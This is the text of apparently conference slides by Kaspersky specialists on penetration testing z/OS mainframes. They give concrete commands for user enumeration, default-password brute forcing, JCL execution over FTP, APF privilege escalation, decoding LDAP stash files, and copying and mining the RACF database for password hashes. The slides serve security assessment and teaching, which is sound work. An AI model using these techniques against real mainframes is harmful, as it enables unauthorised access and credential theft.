

When computers were big: z/OS penetration testing workflow

Speaker: Denis
Stepanov

Senior Penetration Testing
Specialist at Kaspersky

Speaker: Alexander
Korotin

Senior Specialist for the Security
Assessment Center at Kaspersky



About us

- Kaspersky, security services (pentest & red teaming, ICS security assessment, reverse engineering, application security, etc.)
- Team collaboration in the analysis of complex multifaceted systems: penetration tester and ICS security specialist walk into a bar mainframe
- Honors & Acknowledgements: conferences (C3, DEFCON, PHD, etc.), certificates (OSCP, OSEP, OSCE, etc.) , CVEs & Bug Bounty



Mainframes



https://wikipedia.org/wiki/Z_Systems



make a 15 minute presentation on how to pentest z/os

Agenda


- z/OS overview
- Reconnaissance
- Initial Access
- Execution
- Privilege Escalation
- Collection
- Exfiltration
- RACF database



z/OS overview



z/OS overview. Components



Reconnaissance



Reconnaissance. Services


- FTP 21/tcp, 900/tcp
- Telnet 23/tcp, 1023/tcp
- SSH 22/tcp
- IBM MQ 1414/tcp, 1415/tcp
- CEA 5060/tcp
- CORBA 2809/tcp
- IBM Tivoli 1920/tcp
- etc...



Reconnaissance. User Enumeration. Telnet



```
telnet <ip>
Trying <ip>
Connected to <ip> .
Escape character is '^]'.
IKJ56700A ENTER USERID -
NOTEXIS^MIKJ56420I USERID NOTEXIS NOT AUTHORIZED TO USE TSO
IKJ56429A REENTER -
IBMUSER^MIKJ56714A ENTER CURRENT PASSWORD FOR IBMUSER-
```



Reconnaissance. User Enumeration.

Telnet

- Patator
 - patator telnet_login host=<ip> port=23
- Nmap
 - nmap -p 23 <ip> --script tso-enum --script-args userdb=tso_users_full.txt -vv



Initial Access



Initial Access. User Bruteforce. Telnet


- Username=Password
 - SYSADM:SYSADM
 - WEBADM:WEBADM
- Default passwords
 - IBMUSER:SYS1
 - OPERATOR:ADMIN
- Default password policy is weak:
 - Length <= 8
 - Uppercase + numbers + !@#



Execution



Execution. JES




Execution. FTP

- 1) Connect to FTP-server
- 2) Upload special netcat
- 3) Switch to JES mode: SITE=JES
- 4) Upload JCL-batch file for shell execute
- 5) Wait




Execution. FTP

- **Msf**
 - **payload/cmd/mainframe/generic_jcl**
 - **exploit/mainframe/ftp/ftp_jcl_creds**
 - **payload/cmd/mainframe/apf_privesc_jcl**
 - **payload/mainframe/shell_reverse_tcp**
- **MainTP.py**
 - <https://github.com/mainframed/MainTP>



Execution. Telnet

- x3270 -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>
- x3270 -charset russian -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>



- x3270 Terminal




Execution. Telnet

```
x3270-2 tso@localhost:3270
File Options
help listcat

FUNCTION -
THE LISTCAT COMMAND LISTS ENTRIES FROM EITHER THE MASTER CATALOG OR
A USER CATALOG.

SYNTAX -
LISTCAT CATALOG('CATNAME/PASSWORD')
OUTFILE('DNAME')
LEVEL('LEVEL') | ENTRIES('ENTRYNAME/PASSWORD' ...)
CREATION('NNNN')
EXPIRATION('NNNN')
NOTUSABLE
CLUSTER DATA INDEX ALIAS SPACE NONVSAM
USERCATALOG GENERATIONDATAGROUP PAGESPACE
ALTERNATEINDEX PATH
ALL | NAME | HISTORY | VOLUME | ALLOCATION

REQUIRED - NONE
DEFAULTS - NAME
ABBREVIATIONS -
NOTE - IN ADDITION TO NORMAL TSO SHORT FORMS, THESE ARE ACCEPTED,
LISTCAT LISTC
OUTFILE OFILE
*** [ ] tso 024/006
```




Time Sharing Option/Extensions

Interactive System Productivity Facility

Privilege Escalation



Privilege Escalation. z/OS access control



SAF - System Authorization Facility

RACF - Resource Access Control Facility

VTAM - Virtual Telecommunications Access Method

ACEE - Accessor Environment Element

Privilege Escalation. TSO

- APF
- TESTAUTH
- SVCs
- User job impersonation
- Network Job Entry
- etc.



Privilege Escalation. TSO. APF

APF - Authorized Program Facility

- 1) Enum available APF-libraries
- 2) Check permissions on APF-libraries from current user
- 3) Change APF-library for patching ACEE of current session
- 4) Do privileged stuff



Privilege Escalation. TSO. APF

- Msf
 - payload/cmd/mainframe/apf_privesc_jcl
- Privesc
 - <https://github.com/ayoul3/Privesc>



Privilege Escalation. TSO. APF

```
LU
USER= [REDACTED] OWNER=SYS1 CREATED=(  
DEFAULT-GROUP=SYS1 PASSDATE PASS-INTERVAL=N/A PHRASEDATE=N/A  
ATTRIBUTES=AUDITOR  
REVOKE DATE=NONE RESUME DATE=NONE  
LAST-ACCESS=  
CLASS AUTHORIZATIONS=NONE  
INSTALLATION-DATA=  
NO-MODEL-NAME  
LOGON ALLOWED (DAYS) (TIME)
-----
ANYDAY ANYTIME
GROUP=SYS1 AUTH=USE CONNECT-OWNER=SYS1 CONNECT-DATE=
CONNECTS= 272 UACC=NONE LAST-CONNECT=
CONNECT ATTRIBUTES=NONE
REVOKE DATE=NONE RESUME DATE=NONE
SECURITY-LEVEL=NONE SPECIFIED
CATEGORY-AUTHORIZATION
NONE SPECIFIED
SECURITY-LABEL=NONE SPECIFIED
READY
```

Check current permissions

```
CONSOLE
CONSOLE
d prog.apf

CONSOLE
PROG,APF DISPLAY 733
FORMAT=DYNAMIC
ENTRY VOLUME DSNNAME
1      SYS1.LINKLIB
2      SYS1.SVCLIB
3
4
5
```

Enum APF-libraries

Privilege Escalation. TSO. APF

```
listdsd dataset('EEE.EEE') gen
INFORMATION FOR DATASET EEE.** (G)

LEVEL OWNER UNIVERSAL ACCESS WARNING ERASE
----- -----
00 EEE READ YES NO

AUDITING
-----
FAILURES(READ)

NOTIFY
-----
NO USER TO BE NOTIFIED

YOUR ACCESS CREATION GROUP DATASET TYPE RETENTION PERIOD
----- -----
ALTER SYS1 NON-VSAM 00000

NO INSTALLATION DATA
READY
```

Check access to some APF-library

```
ex 'ELV.APF' 'EEE.EEE'
+ APF Privilege Escalation Script
+ Compiling EHBYZEE in EEE.EEE
READY
```

Patching of APF-library



Privilege Escalation. TSO. APF

LU

```
JOB03434 $HASP165 ELVAPF    ENDED AT N1  MAXCC=0000 CN(INTERNAL)
USER=                               OWNER=SYS1      CREATED=
DEFAULT-GROUP=SYS1    PASSDATE=          PASS-INTERVAL=N/A PHRASEDATE=N/A
ATTRIBUTES=SPECIAL OPERATIONS
ATTRIBUTES=AUDITOR
REVOKE DATE=NONE    RESUME DATE=NONE
LAST-ACCESS=
CLASS AUTHORIZATIONS=NONE
INSTALLATION-DATA=
NO-MODEL-NAME
LOGON ALLOWED   (DAYS)           (TIME)
-----
ANYDAY          ANYTIME
GROUP=SYS1      AUTH=USE      CONNECT-OWNER=SYS1      CONNECT-DATE=
CONNECTS= 273  UACC=NONE      LAST-CONNECT=
CONNECT ATTRIBUTES=NONE
REVOKE DATE=NONE    RESUME DATE=NONE
SECURITY-LEVEL=None SPECIFIED
CATEGORY-AUTHORIZATION
NONE SPECIFIED
SECURITY-LABEL=None SPECIFIED
READY
```

P

Getting SPECIAL OPERATIONS privilege



Privilege Escalation. UNIX

File Options

READY
OMVS

TSO to UNIX command via x3270

File Options

IBM
Licensed Material - Property of IBM
5650-ZOS Copyright IBM Corp. 1993, 2015
(C) Copyright Mortice Kern Systems, Inc., 1985, 1996.
(C) Copyright Software Development Group, University of Waterloo, 198

U.S. Government Users Restricted Rights -
Use, duplication or disclosure restricted by
GSA ADP Schedule Contract with IBM Corp.

IBM is a registered trademark of the IBM Corp.

```
# id
uid=0(IBMUSER) gid=3(EVTGRP) groups=0(TTY),2(DFSGRP),30100(WBCFG)
#
```

z/OS UNIX shell via x3270




Privilege Escalation. UNIX

- su
- extattr
 - extattr +a filename
- extattr hunting
 - find / -ext a



Privilege Escalation. UNIX. File System



CVEs

- CVE-2012-5955
- CVE-2012-5951
- CVE-2020-4230



Collection




Collection. UNIX

Files/Directories	Description
/u/	User directory
.sh_history .bash_history	User *sh history
/etc/skrb/	Kerberos configs
/etc/ldap/	LDAP configs
/etc/httpd.conf	IBM HTTP Server config
/etc/dfs	DFS config
/usr/lpp/internet/server_root/Admin/ webadmin.passwd	Web admin config



Collection. UNIX. LDAP

- LDAP Stash file create:
 - `/usr/lpp/internet/sbin/htadm -stash stash_file.sth SuperSecretLDAPPass`
- LDAP Stash file decode:
 - `perl -CO -n0xF5 -e 'print $_[^]\x{F5}"x length."\n";exit' < key.sth > unstash.key`
 - `dd conv=ascii if=unstash.key of=unstash_ascii.key`



Exfiltration



Exfiltration


- x3270
- FTP
- SSH
- HTTP
- etc.




Exfiltration. TSO

UNIX to MVS:

- OGET '/path/to/hfs/file' DATASETNAME BINARY



x3270 file transfer option



x3270 file transfer setup

Exfiltration. UNIX. FTP

- MVS to HFS:
 - cp -B "//'SYS1.RACF'" /tmp/racf
- FTP path traversal:
 - cd ..
 - cd SYS1
 - get RACF




NOFF
ONE
2023

RACF




RACF Overview



- Identifying and verifying users
- Authorizing users to access protected resources
- Recording and reporting access attempts

RACF DB

- Profile is a entity record in RACF DB
- There are USER, GROUP, DATASET and GENERAL profiles
- Profile consists of segments: BASE, DFP, OMVS, TSO, etc.
- Segment contains fields



RACF DB Structure

Block 0000

Header (ICB)

Blocks
0001-0009

Templates

Block 000A

Reserved Template Block

Block 000B

Segment Table

Blocks
000C-...

BAM (1 or more blocks)

Other
blocks

Data or Index Blocks

- Header (inventory control block, ICB)

The first block in a RACF DB, contains a general description of the DB
- Templates

Table of templates for each profile
- Segment Table

Mappings of individual segments from within a template
- BAM (block availability mask)

Shows the availability (free/occupied) of the corresponding blocks in RACF DB
- Index blocks

Multilevel index set to locate profile segments
- Data

Profile segments



RACF DB audit

What we want


- offline audit
- analysis of all data
- Handy data search

Tools

- racf2john – extract DES or KDFAES password hashes (no passphrases)
- <https://github.com/mainframed/racf2sql> - convert output of RACF DB unload utility (IRRDBU00) to SQLite db
- <https://github.com/lnlyssg/IRRXUTIL> - REXX scripts to interact with RACF
- <https://github.com/mainframed/Enumeration> - enumeration REXX scripts (including RACF)
- https://github.com/lnlyssg/zos/racf_debug_cleanup.c - dump only BASE segments in plain text from RACF DB

RACF DB analyze approach

RACF DB



RACF DB audit tool: racfudit

- golang
- dynamically created profile structures based on templates
- tested on RACF DB v1.13 and v2.02
- different output: SQLite or plain text

ToDo:

- Integration with neo4j

<https://github.com/klsecservices/racfudit>

Database Structure Browse Data Edit Pragmas Execute SQL

Table: USER_BASE

				RawData	ENTYPE	VERSION	AUTHDATE	AUTHOR	
	id	ProfileName	Offset		Filter	Filter	Filter	Filter	
1	1		0x002b2400	8300004a0000049b5c2c1e2c5404040400008008999...	2	1	2000, day 224		
2	2		0x00015000	8300001000000067c2c1e2c5404040400008008999...	2	1	2000, day 224		
3	3		0x00015100	8300001000000067c2c1e2c5404040400008008999...	2	1	2000, day 224		
4	4		0x00015300	83000010000000cec2c1e2c540404040000800c1d5e...	2	1	2010, day 216	IBMUSER	
5	5		0x00015400	83000010000000cdc2c1e2c540404040000700c1d5e...	2	1	2010, day 216	IBMUSER	
6	6		0x0007c800	83000010000000dc2c1e2c540404040000600c1d6c...	2	1	2018, day 187		
7	7		0x000c9600	83000010000000dac2c1e2c540404040000500c1d6c...	2	1	2019, day 105		
8	8		0x00015800	8300002000000103c2c1e2c540404040000800c1d7e...	2	1	2010, day 216	IBMUSER	
9	9		0x00015c00	83000010000000ccc2c1e2c540404040000700c1e7d...	2	1	2010, day 216	IBMUSER	
10	10		0x000aae00	8300004000000322c2c1e2c540404040000600c1f3c...	2	1	2018, day 340	IBMUSER	
11	11		0x000a6500	830000100000000dc2c1e2c540404040000700c1f3c1...	2	1	2018, day 340	IBMUSER	
12	12		0x000a6700	8300002000000102c2c1e2c540404040000600c1f3c1...	2	1	2018, day 340	IBMUSER	
13	13		0x00074300	83000010000000ccc2c1e2c540404040000700c1f3c7...	2	1	2018, day 352	IBMUSER	
14	14		0x00016100	83000010000000cec2c1e2c540404040000800c2d3e...	2	1	2010, day 216	IBMUSER	
15	15		0x00057f00	830000100000000d5c2c1e2c540404040000700c2d4f...	2	1	2017, day 241	DB2SYS	
16	16		0x00059000	830000100000000d9c2c1e2c540404040000700c2d4f...	2	1	2017, day 241	DB2SYS	
17	17		0x000f1f00	83000010000000cbc2c1e2c540404040000800c2d7e...	2	1	2019, day 212		
18	18		0x00016400	8300002000000103c2c1e2c540404040000800c2d7e...	2	1	2010, day 216	IBMUSER	
									1998, day 229 IBMUSER 0
									2010, day 216 IBMUSER 0
									2019, day 218 0
									2017, day 314 0
									2001, day 323 IBMUSER 0
									2010, day 216 IBMUSER 0

```
# ./racfudit -f racf -sql racf.db -dump racf.txt -log racf.log
INFO: Extracting Inventory Control Block (ICB)
INFO: Extracting Templates
INFO: Generating Profile structure based on RACF templates
INFO: Extracting Index Blocks
INFO: Extracting Profiles
INFO: Saving RACF profiles as plain text file racf.txt
INFO: Creating tables in SQLite3 DB racf.db for RACF profiles
INFO: Saving RACF profiles in SQLite3 DB racf.db
INFO: Done
#
```

racfudit: use cases

Case #1: Extract passphrase hashes

Extract passphrase hashes for all system administrators (group SYS1)

```
1 | select ProfileName, PHRASE, CONGRPNM from USER_BASE
2 | where PHRASE <> "" and CONGRPNM LIKE "%SYS1%";
```

ProfileName	PHRASE	CONGRPNM
-------------	--------	----------

Execution finished without errors.
Result: 4 rows returned in 11ms
At line 1:
select ProfileName, PHRASE, CONGRPNM from USER_BASE
where PHRASE <> "" and CONGRPNM LIKE "%SYS1%";

Case #2: Dataset UACC Misconfiguration

Find all data sets with UACC (universal access authority) ALTER

```
1 | select ProfileName, UNIVACS from DATASET_BASE
2 | where UNIVACS LIKE "1%";
```

ProfileName	UNIVACS
-------------	---------

Execution finished without errors.
Result: 10 rows returned in 6ms
At line 1:
select ProfileName, UNIVACS from DATASET_BASE
where UNIVACS LIKE "1%";

Summary



References

- <https://github.com/klsecservices/racfudit>
- <https://github.com/klsecservices/zos-mindset>

